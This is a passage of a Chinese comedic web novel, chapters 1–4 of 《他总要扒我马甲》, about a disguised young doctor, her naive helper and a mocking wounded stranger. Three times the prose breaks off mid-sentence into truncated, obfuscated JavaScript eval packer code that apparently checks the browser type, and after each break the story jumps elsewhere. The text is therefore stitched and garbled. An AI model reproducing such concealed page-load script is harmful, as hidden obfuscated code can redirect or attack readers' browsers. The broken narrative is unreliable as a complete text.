《他总要扒我马甲》 1. 第 1 章 天刚破晓的时候,大安提着木桶去河边打水。 时辰尚早,度偃河边没什么人,昏暗的远山被云雾遮蔽,勾勒出模糊的轮廓。 河水暗涌,发出哗啦响声。 大安最近听了弄影戏的《十八相送》,一边洗脸一边哼道: “前面到了一条河,漂来一对大白鹅哟……” 余光一瞥,瞧见河滩边一摊红艳艳的东西。 好像是个人?黑发红衣的人。 大安呆滞片刻,吓得转身就跑,跑两步摔了个狗吃屎,想起桶还搁在河边,又跑回河边打了半桶水。 结果一路上连摔带飞,等回到家里,半桶水只剩下几滴。 大安走到天井底下,对着空荡荡的水缸和空荡荡的水桶发呆。 一个身影从屋里走出来,是个俊俏的小大夫。身板单薄,样貌斯文,脸有点儿黑。 小大夫叫晏阿音。 她刚睡醒,看见大安一动不动,打着呵欠问道:“怎么了?” 走到大安身边,低头一看。 水缸干干净净的底座溅了两滴水。 晏阿音深思片刻,得出结论:“李大安,你今天是准备让我把头伸进缸底用这两滴水洗脸吗?” 大安快哭了,张张嘴巴,片刻终于哀嚎出来:“大哥,河边有死人!” 晏阿音不搭理他,走过去把桌上茶缸里的半缸水倒出来,蹲在天井旁边洗漱。 许久。 大安又喊:“大哥!” 晏阿音蹙眉:“干什么?” “真的有死人!” “然后呢?” 大安声音小下去,对了对手指道:“大哥,怎么办啊?” 晏阿音点点他:“你一个汉子再做出这种娘们唧唧的动作,我明天也让你躺在河边当死人。” 晏阿音带着大安去集市买了早饭,去度偃河查看情况。 此时较前头迟了些,群山被镀上一层薄薄的金边,日光打在河面上,照出被水流冲淡的血红。 那道红色身影还一声不吭趴在河滩上,大安跑过去,试探那人的气息。 晏阿音眺望远处,判断着,度偃河四通八达,这人估计是从上游冲下来的。 大安兴奋地跑回来:“大哥,这人还有一口气,而且身板看着不错,要是救活了,咱们家就又多了个干活的。” 晏阿音觉得颇有道理:“可以,带回去吧。” 大安满心欢喜地点头,下一秒,手里的早饭却被拎走了。 大安见晏阿音边吃边远去,迷茫地问道:“大哥,不是要把人带走吗?” 晏阿音咬了口烧饼,举了举手里的红糖豆腐脑,随口道:“你提着这个带人不方便,我帮你分担一点。” 大哥真贴心啊,大安感动地红了眼眶。 *** 回到医馆,大安端着木盆前院后院跑,足足换了七八盆水。 屋里烟雾升腾缭绕,大安看看木床上的红衣男人,小声问道:“大哥,这男人能不能救活啊?” 这个男人很高很瘦,身上的伤纵横交错,很是可怖。 晏阿音把艾草的余烬扔进炭盆,把手洗干净,走出去坐在台阶上发呆。 大安亦步亦趋问道:“大哥,那人是不是不行了?” 晏阿音道:“自己不想活,神仙也救不回来啊。” 大安回头看了一眼木床上的人,恍然大悟。 原来是没有求生意志了。 大安信誓旦旦:“我有办法,这种情况只要稍微刺激一下,肯定就活了。” “怎么个刺激法?” 大安捧出自己的传家宝,自信道:“让他精神紧张!我以前被人揍得起不来,一听见别人打我传家宝的主意,我一骨碌就爬起来了。” 晏阿音瞥了眼他手里光秃秃的石头,“……” 明白了。 让他精神紧张是吧? 没问题啊。 晏阿音回到床边坐下,看着床上昏迷的人,托腮思索片刻,清清嗓子: “快点起来,小爷费这么大劲救你,半簸箕的药都没了,你敢装死?我跟你说我可记仇了,救你的药是我翻了一座山采回来的,采药的路上我摔了六个跟头被鸟屎砸了两次还掉进河里差点淹死,你要是敢浪费我的药,等我几十年以后下到阴曹地府也要把你揪出来揍一顿。哦不,揍两顿,还是把你打得牙齿全掉光的那一种。” 大安:“?” 大哥,是让人紧张得想活过来,不是让人紧张得更想死了。 晏阿音嘀咕半天,唰的站了起来。 大安没想到这么有效,震惊道:“大哥,人醒了?” “没有。” 晏阿音揉揉肚子:“我饿了,先吃饭吧。” 大安:“……” *** 吃完饭,大安收拾完碗筷,跑进卧房,“大哥。” 晏阿音在床边站起身,困倦地道:“我去睡一会儿,你盯着他,要是他醒了不老实,直接打晕。” ……啊? 大安风中凌乱。 晏阿音也没觉得哪里不对,打了个呵欠,推门出去了。 大安看向床上昏迷不醒的人,连忙作出一副认真模样,正襟危坐地守着。 客云城秋日的午后闲散舒适,度堰河波光粼粼,风拂过对岸白墙黛瓦的房屋,将炊烟吹散。 摘窗开着,大安坐在桌子旁边,被吹进来的风吹得昏昏欲睡。咚的一声,脑袋砸到桌上,才清醒一瞬,咂咂嘴又睡着了。 大安睡着睡着做了个梦,梦见烤鸡香得直流口水,烤鸡却自己长了腿,越跑越远,眼看着就要跑没影了,大安啊的一声惊醒过来。 大安直愣愣地和对面床上的男人对视。 ——男人一双桃花眼如利刃,冷冷盯着他。 大安思索片刻,还是郑重问道:“请问你有没有看见,刚刚有一只烤鸡跑过去了?” “……?” 看这人匪夷所思的模样,估摸是没看见了。 大安难过地垂头,下一刻,震惊道:“你你你你醒了?” 男人不语,闭目靠墙养精蓄锐。 “醒了醒了!”大安如梦初醒,旋风般冲出去,“大哥……” 晏阿音顶着一头乱七八糟的头发走进来时,男人正靠坐在墙边,衣襟半敞。 男人有一双昳丽多情的眼,眼尾微上挑,笑的时候应是艳若桃花,柔软风流,仿佛晕染春意,只不过此时却寒意森冷,如刀锋浸雪。 晏阿音决定树立自己的良好形象,高冷道:“这里是我的大药堂。我救了你。我是你的救命恩人。” 三句话,言简意赅。 “……” 男人寒冷的神情转为复杂——什么东西。 大安在旁边收拾东西,美滋滋地想着:把一个濒死的人救回来,传出去,他们药馆儿可就出名了啊。 大安搬了条杌子给晏阿音坐,看着男人,不无自豪地介绍道:“兄弟,是我大哥把你救活的。不是我和你吹啊,我大哥医术可好了,伤风感冒不在话下,以前还给别人治过不孕不育,甚至还救过难产的老母猪呢,你不知道,当时陈大嫂可感激我大哥了,说要送两只小猪给我们,但是我大哥铁面无私给拒绝了,你看我大哥多好一个人……” 旁边幽幽传来一句:“李大安。” “哎。”大安慷慨激昂地转头,“大哥,叫我干啥?” “你不说话是会死吗?” 大安缩回脑袋,捂住嘴巴。 半晌还是忍不住好奇,小声问道:“兄弟,你一开始不是不想活了吗?现在怎么又醒了啊?” 男人提不起精神,眉眼懒洋洋的,他的神情没什么变化,但冥冥之中那种戒备针对的感觉消失了。 “因为太吵了,聒噪。” 那时他意识混沌,但五感尚在,依稀听见耳边叽叽喳喳像一万只鹦鹉狂嚎,仔细听才发现是个人在说话。 “……” 晏阿音木着脸。 她活这么大就没有见过敢这样挑衅她的,简直是可忍孰不可—— 这是病人,她忍。 大安忽然扭捏起来:“兄弟,我们救了你的命,你总得回报些什么吧?” 男人轻笑了声:“我又没要你们救。” 大安懵了。 怎么世上还有人不想活的。 男人动了动,起身下床,因为拉扯到伤口,闷哼了一声。 晏阿音皱起眉。 大安不敢去扶他,只能讷讷地问:“兄弟,你要去哪?” 男人没说话,走到门边,晏阿音忍不住了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大安忧愁地看着地上的钱袋子,“大哥,咱们没钱了。” 晏阿音明白了。 一起饿死? 不禁觉得匪夷所思:“什么啊,我一个顶天立地的大男人,会让小弟饿着?” “男人?” 原本靠着墙壁闭目养神的男人忽然睁开眼睛,看向晏阿音。 晏阿音一个眼刀飞向他:“怎么,你对我有什么不满?” 男人迎着她恶狠狠的视线,嘴角的弧度竟然慢慢翘了起来,越来越高。 晏阿音眼睁睁看着他的笑容越来越肆无忌惮:“小爷是矮了一点,不行吗?你什么意思,瞧不起我?” 大安过来劝架:“大哥消消气,他还是个病人,他打不过你的,别和他一般计较。” 万一打出个什么好歹,帮他干活的人就没了,那可不行。 晏阿音看向男人。 他靠坐在天井边,两条长腿搭在一起,姿态随意。并没有换过衣裳,依旧穿着那件被血糊得看不出原本颜色的衣裳。缎子一样的黑发,炽艳的红衣,衣襟松散,露出一片肌理分明的结实胸膛。脸上虽沾了灰,但能看出眉眼俊俏,站出去就能吸引一大片目光。 晏阿音居然在他的身上看出了禁欲和性感两种矛盾的感觉。 于是,她更有信心了。 “大安,我更男人,还是他更男人?” 大安看看她,又看看不远处似笑非笑的身影,肯定地说:“大哥更男人!” 晏阿音满意了。 “有眼光,明天奖励你吃鸡屁股。” 大安正喜滋滋,却又想起什么:“可是大哥我们没钱了啊。” 晏阿音咳了声,说:“在梦里吃,也不是不可以。” 坐在天井边的男人终于忍不住,捂住伤口闷声笑起来,整个人都在抖,抖得像风中簌簌摇颤的落叶。 大安眼睁睁看着晏阿音的脸色慢慢黑得像锅底,连忙转移话题,“兄弟,你叫什么名字啊?” 男人笑够了,懒洋洋地说道:“薛荔衣。” 大安挠头。 立什么医? 和他们这个医馆的名儿还挺搭。 大安又问了一些问题,薛荔衣答了,但多数无关紧要。 最后,薛荔衣盯着离开的晏阿音,问出一直想问的问题:“你大哥叫什么名字?” 晏阿音走到天井底下,抱起堆放草药的簸箕。 闻言回答:“我大名付清,小名蝶,你不用拘谨,平常叫我的小名就行。” 薛荔衣:“……” 2. 第 2 章 薛荔衣要换衣裳,但晏阿音的他穿不了,只能寄希望于大安。 大安在自己仅有的几件衣裳里埋头苦找,终于挑出一件。 把衣裳抖开递给薛荔衣的时候,大安悲痛得像嫁了养了十几年的女儿:“兄弟,我最中意的一件给你了,你一定要好好对它。” 薛荔衣看看衣裳上七零八落的破洞,又看看大安,好半晌,挤出个笑:“谢谢啊。” 四合院有洗澡的地方,但需要自己去河边打水,薛荔衣懒得费这个功夫,趁夜里没人,带上衣裳直接去河边洗澡。 等薛荔衣洗完回来,已经是深夜。 大安坐在药馆大门旁边守门,听见动静起来,迷迷糊糊地揉眼睛:“你这么快洗完了啊。” 薛荔衣看了一圈,没看见晏阿音:“你大哥呢?” 大安把门反锁好,顺手指了指不远处的门槛:“大哥在那里。” 薛荔衣皱眉走到门槛边,低头一看。 ——晏阿音脸朝天,以一个豪放的姿势躺在地上呼呼大睡,手里还抓着瓜子,旁边散了一地的瓜子壳。 薛荔衣表情复杂:“你大哥怎么回事?” 大安哦了声,习以为常道:“大哥刚才嗑瓜子呢,嗑着嗑着就睡着了,以前也这样。大哥有起床气,不让我叫醒他,说这样可以练功。” 练功? 什么功,倒头就睡懒猪功? 大安回房间睡觉了。 薛荔衣的视线落在晏阿音身上。 半晌,他撩起衣裳后摆,席地坐下来。 然后神情自若地从她怀里薅了把瓜子,就这样坐在她身边,悠哉游哉开始嗑。 他湿淋淋的头发在肩上披散,冰凉的水,一滴,一滴砸在晏阿音脸上。 半梦半醒之间,晏阿音眉头皱了起来,摸摸脸颊,心想下雨了? 耳边好像传来嗑瓜子的声音。 嗯……瓜子? 晏阿音翻身坐起,模糊视野中瞧见旁边一道身影,扑了过去:“哪来的臭王八羔子,抢你小爷瓜子。” 薛荔衣像是早已预料到她会这般,握瓜子的手懒洋洋地往上一抬。 晏阿音扑进他怀里,扑了个空。 找半天也没找到瓜子。 她好像在他怀里按到了什么东西……触感又软又硬,硌手得很,好奇怪的感觉。 晏阿音清醒了一些,拧着眉抬头,迷蒙的视线中忽然跃进一张过分俊俏的脸。 男人生就一双眼尾上扬的桃花眼,睇人时总是似笑非笑,漫不经意,那双天生便比常人深些的瞳眸如同深邃冷峻的天穹,可又矛盾得柔情风流,垂眼看人时,能叫不谙世事的小姑娘一眼荡魂。 这叫晏阿音不由自主地想起自己记了很久的一句话—— 她是听客云城茶馆里说书人说的,形容的,正是京城意气风发的翩翩风流郎。 “眉眼如水墨染就,五官似天公雕画,瞳眸跌笑,漾着荡然春意。” 原来说书人没有骗人啊。 这人比她以前在青楼见过的小倌还要好看! 唉,好奢侈,这种姿色级别的,看一眼得好贵吧。 ……不对,她什么时候有钱叫小倌伺候了。 晏阿音一个激灵,完全醒了。 薛荔衣好整以暇地低着头,看着以一种不雅姿势埋在他怀里的她,挑着眉毛说:“你还想摸我摸多久?” 我靠。 是薛荔衣这只臭王八。 晏阿音冷汗直冒,唰的一下退后,见鬼一样盯着他。 薛荔衣倒是不惊不乍,平静地回视着她。在她的注视下,他又坦然自若地捡了一颗瓜子,放进嘴里。 清脆的“喀拉”一声,他把瓜子肉吃完了,接着嗑第二颗。 晏阿音深吸了口气,开始磨牙,从牙缝里憋出一句:“薛荔衣。” “嗯?”他应得懒洋洋。 “瓜子好吃吗?” “一般般吧,个别几颗炒得有点焦了,还有的火候不够。” 晏阿音:“???” 她怒了,扑过去抢瓜子。 “小爷给你脸了,你还好意思嫌弃我的东西……” 然而没想到,薛荔衣看着懒散,动作居然如此敏捷,半点不见受伤的模样。晏阿音和他搏斗半天,不仅瓜子儿没抢回来,还被他当猫一样逗过来逗过去。 晏阿音这下真的炸毛了,她决定狠狠教训这个不知天高地厚的臭王八,张嘴就往他手上咬去—— 结果,不仅没咬到,反而被薛荔衣三两下放倒,压在了地上。 晏阿音被他压在身下,手腕被他攥住,只觉悲愤欲绝。 啊!她居然被一个弱唧唧的男人制服了,她晏家一霸的脸面要没了! 薛荔衣只用一只手就轻而易举地把她压住,笑眯眯地看着她,指尖在她鼻子上弹了一下:“堂堂一个男人,打不过人就咬人。” 晏阿音张口想要咬他胡作非为的手,被他轻而易举地躲开了。 “放开我!”她瞪眼道。 薛荔衣闲闲一挑眉,睨着她说:“你不咬我,我就放了你。” “赶紧放开!” “你要咬我吗?” “……” “不咬,行了吧!” 娘的。 晏阿音想,君子报仇十年不晚。 薛荔衣倒是遵循承诺,很快就把她放开了。 晏阿音得了脱,登时退开一段距离,恶狠狠地看着他。 薛荔衣笑眯眯问:“晚上我睡哪儿?” 晏阿音懒得理他,爬起来溜之大吉:“爱睡哪儿睡哪儿,关我什么事。” 薛荔衣靠在门槛边嗑瓜子,看着那道逃得比见鬼还快的身影,挑挑眉。 爱睡哪儿睡哪儿? *** 晏阿音的睡眠质量一向很好,只要躺上床,被子一盖眼一闭,蚕蛹似的往床里一滚,十个人在床边敲锣打鼓放鞭炮都听不见。 于是她就这样舒舒服服地睡到了第二日天亮。 清晨第一缕阳光透过窗照进来,晏阿音惬意地伸了个懒腰,翻了个身,慢悠悠睁开眼睛。 哎,这种生活真美好啊,一睁眼就能看到温暖的阳光,原本充满阴霾的日子都变得…… 薛荔衣显然也是刚醒,也翻过身侧着,和她几乎鼻尖对鼻尖。 见她睁开眼睛,还朝她微笑了下:“早啊。” 晏阿音诡异地沉默了。 空气安静了很久。 “薛荔衣,如果你还想活着,最后别告诉我,你在我床上睡了一晚上。” 薛荔衣认真寻思:“也没有一晚上吧,才几个时辰而已。” 晏阿音深深吐息一口气,努力挤出一个笑。 然后: “薛荔衣你找死是不是!!!” 响彻云霄。 另一边的厨房里,因为肚子饿而悄悄吃剩饼的大安浑身一抖,赶紧把仅剩的半块饼给塞进嘴里。 大安嘴巴塞得鼓鼓囊囊的,缩头缩脑害怕地走出来,想要看看发生了什么事情,结果看见晏阿音怒气冲冲地抱着被褥和枕头从房间里出来。 晏阿音头顶窜火。 她大迈步走到后堂,把被褥和枕头扔到长榻上,对薛荔衣说:“你之后睡这里,不许再进我房间,听见没有!” 薛荔衣走出来,抱着手斜靠在门框上看她,笑得懒洋洋的:“都是男人,有什么不能一起睡的。” 晏阿音一噎,我了半天:“跟你就是不行!” 薛荔衣反问:“那跟别的男人就行?” 晏阿音:“???” 大安躲在门板后面听了半天,听到这儿听不见了,好奇地探出个头。 正巧晏阿音像罡风一样刮出来,大安嗷一声给撞得头晕眼花,在原地转了好几个圈才停下来。 晏阿音气冲冲地走了。 半晌,大安揉着额头看向后堂,只见薛荔衣背对着这里,一声不吭站着,背影十分孤独寂寥。 大安的同情心顷刻间泛滥。 唉。 多可怜啊,受着伤,还被大哥赶出来了。 大安走过去,拍拍薛荔衣的肩膀,很讲义气地说:“兄弟,我大哥有时候脾气不大好,你担待点,你要是不想睡这儿,和我挤一张床,我不介意的!” 薛荔衣觑他一眼,客气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——瞧这温柔的气质,虽然脸黑了点,长得矮了点,人苗条了点,可是俊俏啊,比村头那书生还要斯文。 而且胜在人好啊,嫁姑娘就得找个踏实的。大娘越看晏阿音越满意,跟看女婿一样的和蔼眼神全程看着晏阿音抓药。 等到晏阿音浑然不觉地坐回看诊桌,大娘像是鼓起了勇气,牵起娇羞的女儿准备开口—— 堂后忽然走出来一个男人。 堂里所有等候的老弱妇孺都看过去,这一看,眼珠子快掉了。 这药馆什么时候多了个如此美貌的年轻男人? 男人谁也不看,来到俊俏的小大夫身边,随意揽住他,低声说:“你到底什么时候帮我换药?” 语气颇似被冷落的深闺怨妇。 ??? 堂里坐着的人好像看见了什么惊天动地的大事,一个个眼睛瞪得像铜铃。大娘和那娇羞的小姑娘齐齐僵硬在原地,看着晏阿音和薛荔衣,似乎裂开了。 晏阿音也裂开了。 她面上维持着微笑,低声警告:“薛荔衣,你发什么神经,不想死就给我进去。” 薛荔衣神情低落,不无虚弱地咳嗽一声:“你当真如此狠心?治别人却不治我,你早上把我从床上踹下来,我伤口都裂开了,你现在还要折腾死我?” “……” “……” 堂里好像有什么折断的声音。 来看陈年老伤腿的老大爷拐杖也不要了,健步如飞,旋风一样卷了出去,消失不见。 咳得要死要活有气无力的老太太腾地站起来,抓起懵懵懂懂吃手指头的孙子迈开腿就跑,活像身后有鬼在追。 看诊桌边的大娘哆嗦着手说不出话。 那娇滴滴的小姑娘睁大了眼睛,在晏阿音和薛荔衣之间看来看去,看出一汪水盈盈的眼泪,转眼间便转身捂脸呜呜哭着奔走,那大娘哎呦一声追了出去。 不过转瞬之间,堂里,空了。 目睹这一切的晏阿音:“……?” 3. 第 3 章 上一刻还是满堂和睦。 现在院子里空空荡荡,连个人影都不见。 梧桐叶被风吹得打了几个转,飘在看诊台正前方,冷清得不能再冷清。 晏阿音一字一顿:“薛,荔,衣。” “头突然有点疼,我进去躺会儿,你做你的,没事不用叫我。” 薛荔衣飘进了后院。 病人跑光了,怎么诊?晏阿音唰的把毛笔和病录拍在桌上,也跟他进去。 无奈这人脸皮实在太厚,若无其事地躺到榻上,一副世事安宁的模样。 晏阿音的眼皮狠狠抽了一下,走到榻边。 薛荔衣仿佛没感觉到她的存在,闭着眼睛,神态安详。甚至因为她帮他遮挡了屋檐下照进来的阳光,他挪挪身体,睡得更舒服了。 晏阿音阴恻恻道:“薛荔衣,你给我说清楚,我到底什么时候要折腾死你了?” 薛荔衣抬起眼皮,自下而上睨她:“你现在难道不想折腾死我吗?” “……” 晏阿音一个暴起,翻身坐到他腰上,用力掐住他脖子,俯身道:“可以啊,我如你的意,现在就折腾死你。” 薛荔衣低低嘶了声,在她的掐制下,不得不微微仰起头。 这个角度,他脖颈和肩膀连成一线,绷出优美的弧度,很有一种被欺凌的诱人美感。 没过多久,他神情痛苦,竟是不动了。 晏阿音以为他真喘不过气了,将手上的力道稍微松了点,皱眉盯着他。 不会吧…… 她没使多大的劲儿啊。 谁知下一刻,薛荔衣喉间泄出一声音气儿,他眼睛懒洋洋睁开一条缝,觑着她,轻轻笑了声,“力气这么小。等你掐死我,我都睡醒了。” “???” 简直,欺人太甚。 晏阿音加重了力气:“你给我闭嘴。” 就在此时,耳边传来脚步声,似乎有人朝后院走了过来。 但沉浸在怒火中的晏阿音没听见,薛荔衣眼中笑意加深,又低嘶一声,状似虚弱不堪。 堂外,大安抱着一盆剥好的豆子,边走进来边问:“大哥,豆子我剥完了,今天我们是煮豆子还是炒豆……” “……” “!!!” 大安看着榻上的情景,嘴里的话直接断掉。 像被狂风吹了三天,原地疯狂凌乱。 他的视角是这样的: 薛荔衣面对强迫却没力气挣扎,看着晏阿音,痛苦虚弱地恳求道:“有话好好说,别这样对我。” 晏阿音恶狠狠道:“不许说话!” 霸王硬上弓啊? 大安整个人都不好了,用力抱着木盆,哆哆嗦嗦地说:“大、大大大大哥,大哥……” 晏阿音扭头看他,眼里的怒意还没散去。 大安被看得浑身一抖,但还是咽了口唾沫,哭丧着脸,努力说道:“大哥,薛、薛兄弟他身上还有、还有伤,这样不太好吧?而且这种事情不是得讲究一个你情我愿吗,不能强来啊……” 什么乱七八糟的东西,什么你情我愿? 晏阿音没听懂,皱了皱眉,循着大安的目光,重新看向自己和薛荔衣此刻的情况。 然后,她终于发现哪里不妥了。 某人整个人正以一种绝对压制的姿态,跨坐在薛荔衣的腰上,掐着他的脖子,把他压得死死的。而薛荔衣神情抗拒,在某人的钳制下,眼尾泛起靡靡的红晕。怎么看怎么浮想联翩。 简直就是性转的,无良悍匪强抢良家姑娘。 就在她打量的这个关头,薛荔衣还眯起眼睛沉沉喘息,“你别这样,我受不住,轻些。” 晏阿音:“……” “……” “……” 大安见晏阿音一动不动,愈发害怕,站在那儿抱着木盆抖抖抖抖抖,强撑着说:“大大大大大哥,薛兄弟身体还虚弱,我们不能欺负病人的,你至少等薛兄弟身体好一些了,再再再再再……” “再什么?”晏阿音恶狠狠地打断他。 说完又转回头,看着“柔弱无比”的薛荔衣。 忽然,她冷笑一声倾身而下,双手撑在他身体两侧,贴近了他。 薛荔衣没料到她突然的靠近,眯了眯眼看她,眼中极快掠过忌惮。 晏阿音就这样和他近距离对视,一瞬后,抬手拍拍他的脸,阴恻恻说:“薛荔衣,原来你喜欢男人,嗯?” 薛荔衣眼中的冷意消失了,重新变得游刃有余。 他眉梢轻挑,压低声音道:“我不喜欢男人,我喜欢……” 他的嘴被晏阿音用手堵了个严实。 “你这张王八嘴再敢吐出一个字,我就把你扔回度堰河,听见没有!” 薛荔衣乖乖地不说话了。 将近午饭时,在大安的再三恳求下,晏阿音终于去给躺在床上病怏怏的薛荔衣换药。 大安不放心,偷摸的站在门旁边看,看晏阿音动作粗鲁地撕下换药的绷带,眼皮一抽一抽的,总觉得她想撕的不是绷带,而是其他什么东西。 其实薛荔衣身上的伤比第一天好了不少,但今天和晏阿音在床上一番缠斗,他原本愈合的伤口再次崩裂,鲜血浸透绷带。晏阿音给他上药的时候,眉头森冷得能压死一只蚂蚁。 作为一名大夫,自己的病人如此不配合,她很生气。 反观薛荔衣却没什么反应,欣赏她的表情,嘴角噙着笑,居然还有闲情逸致和她聊天。 “晏阿音?你一个男人,为什么取这么女人的名字?” “你眼睛挺大的,别瞪我了,不然眼珠子容易掉下来,你别不信,我说的都是真的。” “你的手法不行啊,嘶,你戳着我了。” “你怎么这么粗暴,就不能温柔点?我看你早上给人家姑娘包扎的时候动作可轻可温柔了,怎么到了我这里……唔唔。” 薛荔衣的嘴被塞进了一团白布。 晏阿音面无表情地拍了拍手,继续弯下腰,包扎伤口,眼皮都没抬一下。 薛荔衣眼神不悦地落在她身上,晏阿音也当没看见。 耳边没有了聒噪的声音,连天都蓝了许多。 等到包扎完了,晏阿音才拔掉薛荔衣嘴里的白布,对上他的眼睛,不客气地说:“你要是再敢自己找死,把伤口崩裂,下次不用废话,我直接送你上西天。” 薛荔衣懒洋洋地看她,唇角勾出一个笑。 晏阿音朝天翻了个白眼,转身离开。 大安这才放下心,乐颠颠地跟着晏阿音出去。 晌午的阳光穿过屋檐,照在弄堂里。 安静的四合院里,晏阿音埋头吃饭。大安看看坐在左边的人,又看看坐在右边的人,忐忑地低头抱住自己的碗。薛荔衣的手用着不方便,动不了筷子,只用左手拿着个大白馒头,时不时啃一口。 晏阿音吃了小半碗饭,终于忍不了了,抬头看向薛荔衣,“怎么,我脸上有东西吗?” 这人是不是想把眼睛抠下来粘她身上? 薛荔衣咽下一口馒头,慢悠悠的:“嗯。” 晏阿音生无可恋道:“薛荔衣,你的冤家一定很多。” 薛荔衣居然反常的没反驳,“是有点。” 晏阿音瞧着他的神情不对,心中警铃大作,“有点,是有多少?” 她感觉到了危险。 大安嘴里塞着一口饭,呆呆地抬起头。 薛荔衣略显得赧然:“在遇见你们之前,也就一不小心掀翻了半条街的摊子,砸坏了一家酒楼的幡旗和八仙桌,还有……” 晏阿音如被雷劈,牙齿格格作响:“还有什么?” 薛荔衣觑她一眼:“还有途中路过人家青楼门口,一不小心踢破了隔壁灯油店挂在外头的十二神仙灯,差点烧了人家半边青楼。” 大安心疼地瞅着晏阿音碗里的米,眼巴巴地说:“大哥,你的手抖得饭都要撒没了。” 晏阿音瞪了大安一眼,大安缩回脑袋。 薛荔衣看着晏阿音,纯良地眨了下眼:“早说了,你就把我踢出去了。” 晏阿音跳起来大叫:“我现在就把你踢出去!” “大哥大哥别激动,薛兄弟身上伤还没好呢。"大安吓得扯住暴走的晏阿音,“大哥,薛兄弟是好人啊!他来这几天,教了我好多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏阿音又看了看旁边的薛荔衣。 她还是噎死算了。 十几个彪形大汉往两边分开,一个脸上沟壑纵横的中年男人迈步而出。中年男人的目光先在薛荔衣身上扫过,才看向晏阿音。 “你们什么关系?” 晏阿音还没开口,站在前头的薛荔衣懒散道:“我们同吃同住寸步不离,你觉得我们什么关系?” 这话听起来好像有点奇怪。 一对儿是吧? 中年男人点了点头,明白了:“你们是要被揍一顿再跟我们走,还是自愿被绑起来走?” 晏阿音朝薛荔衣看去。 薛荔衣挑眉,缓缓勾了下唇。 面对如此富有冲击力的震撼场景,他慢悠悠往前一步,眼中浮现出避世高手的清高和孤傲,用低沉的声音说:“你觉得呢?” 晏阿音望着他挺拔的背影,震惊过后,居然有点眼眶泛热。 心头冲上一股浩荡之气。 送死送得这么愚蠢的人,她很久都没有见过了。 恰此时,薛荔衣回头,风度翩翩地朝她一笑,颇似坚定:“阿音,让我带你见证这世间辉煌。” 晏阿音吸了吸鼻子,强忍鼻尖酸涩:“好!” 原来她误会薛荔衣了! 他竟然是这样的人,是话本子里传颂的孤身一人迎难而上孤注一掷的英雄,下定决心战到最后一刻,只要不死绝不被屈辱地带走。 …… 三刻钟后。 熏香袅袅的房间从外面被打开,一个彪形大汉压着晏阿音和薛荔衣,一脚把他们踢了进去。 “老实点!” 晏阿音在地毯上打了好几个溜圆的滚,四脚朝天扑腾了半天,终于坐起来,看着对面躺得舒舒服服的薛荔衣,脸色臭得像锅底。 “薛荔衣,这就是你说的带我见证辉煌?” 娘的。见证这青楼的辉煌是吧? 4. 第 4 章 薛荔衣似乎困了,懒洋洋靠在墙壁上。 他打了个呵欠,隔了很久,睁开眼觑她:“不要逞莽夫之勇,要用智谋。” 这是一间装潢华丽的房间,粉红摇曳的床幔,置放胭脂水粉的梳妆台,这是一家青楼,但显然不在客云城,应该是附近的城镇,她没有来过。 门已经锁住,门外还有人看守,晏阿音瞅半天身上绑得严严实实的粗麻绳,决定自闭一会儿。 外面响起由远及近的脚步声:“人在房间里了?一张嘴说得天花乱坠,真的那么美?让我亲眼瞧瞧。” “哎,那肯定没骗您,您这边请。” 紧闭的门吱呀一声被打开,穿金戴银的丰腴女人跟着下人走进来,浓烈的脂粉味登时随着风灌入。 老鸨看着房间里的晏阿音和薛荔衣:“就是这两个?” “对对。” 灰头土脸的小大夫和俊美翩然的郎君放在一块,显然郎君更瞩目一点。 老鸨走到薛荔衣面前,俯身道:“就是你差点烧了老娘的半座青楼,轻薄了老娘的三个姑娘?” 晏阿音:“……?” 怎么还有下半句? 薛荔衣靠在墙边,懒洋洋的:“我没碰过她们。” 老鸨冷笑:“老娘说你碰了你就是碰了。现在你们欠了老娘的债,准备怎么还?瞧你们这模样,还不起吧?” 晏阿音好像知道这老鸨要说什么了。 果然,老鸨烈焰红唇一翘,抚摸着蔻丹说:“既然没钱,那就卖身来抵,我们春满楼有姑娘,却缺小倌儿,那就你们补上,嗯,至少得给我补个二十年吧。” 老鸨余光一掠,注意到了角落的晏阿音,眼前一亮,走过来摸了摸她的脸,“哎呦,这个也不差嘛,刚才还觉得丑,现在瞧这细皮嫩肉的小脸,好像比我们姑娘还要细嫩漂亮,不过就是黑了点儿……” 浓烈的脂粉香伴随着长甲刮在脸上的摩擦声,让晏阿音起了一身的鸡皮疙瘩。她厌恶地移开头。 “你到底有没有眼光,他更好看?” 老鸨动作一顿,转头看向薛荔衣。 薛荔衣轻笑道:“就他这弱不禁风的身板,折腾一下就不行了,他有我能耐?” 晏阿音:“……” 臭王八,这时候还不忘嘲讽她。 老鸨看看薛荔衣脸上的讥嘲,又看看晏阿音的臭脸,站了起来:“我还以为你们是一对儿呢,怎么看起来跟仇人似的。” “谁跟他是一对?”晏阿音头顶冒火。 老鸨笑得花枝乱颤,“不是一对儿就最好,往后你们就是春满楼的人,给老娘老老实实在这儿待着,别打什么歪主意。若是想要逃跑……我这春满楼可是顺金第一楼,出去打听打听,老娘开楼这么几十年,就没有姑娘能活着逃出去的。” 顺金? 晏阿音心念电转想起来了,这是客云城东边的一个小镇。没想到他们被带到这儿来了。 “行了,老娘给你们半天的时间考虑,你们若是还敬酒不吃吃罚酒,那才真真儿是自讨苦吃。”老鸨意味深长地指了指外面守着的彪形大汉,又看看他们,转身离开。 门砰的又关上。 晏阿音直挺挺躺在地上,少顷,生无可恋道:“薛荔衣,我要杀了你。” 薛荔衣的声音含笑:“我们现在是一条船上的蚂蚱,不能互相伤害。” 晏阿音扑腾坐起,“要不是你,小爷能落这下场?” 